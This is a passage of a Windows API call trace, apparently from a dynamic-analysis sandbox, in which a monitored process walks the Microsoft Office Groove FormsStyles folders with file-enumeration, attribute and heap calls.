(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.801] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.801] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.802] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2510 [0078.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c7af8 [0078.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2530 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c7c00 [0078.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2550 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c7d08 [0078.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.804] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2570 [0078.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c7e10 [0078.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.805] GetLastError () returned 0x12 [0078.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.805] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.805] GetLastError () returned 0x12 [0078.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.806] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0078.806] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0078.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.810] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.811] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.811] NtClose (Handle=0x170) returned 0x0 [0078.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.811] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2590 [0078.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c7f18 [0078.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.812] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac25b0 [0078.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cc7a8 [0078.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.814] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.814] GetLastError () returned 0x12 [0078.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.815] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.815] GetLastError () returned 0x12 [0078.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.815] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0078.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.816] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.816] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.816] NtClose (Handle=0x180) returned 0x0 [0078.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.817] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 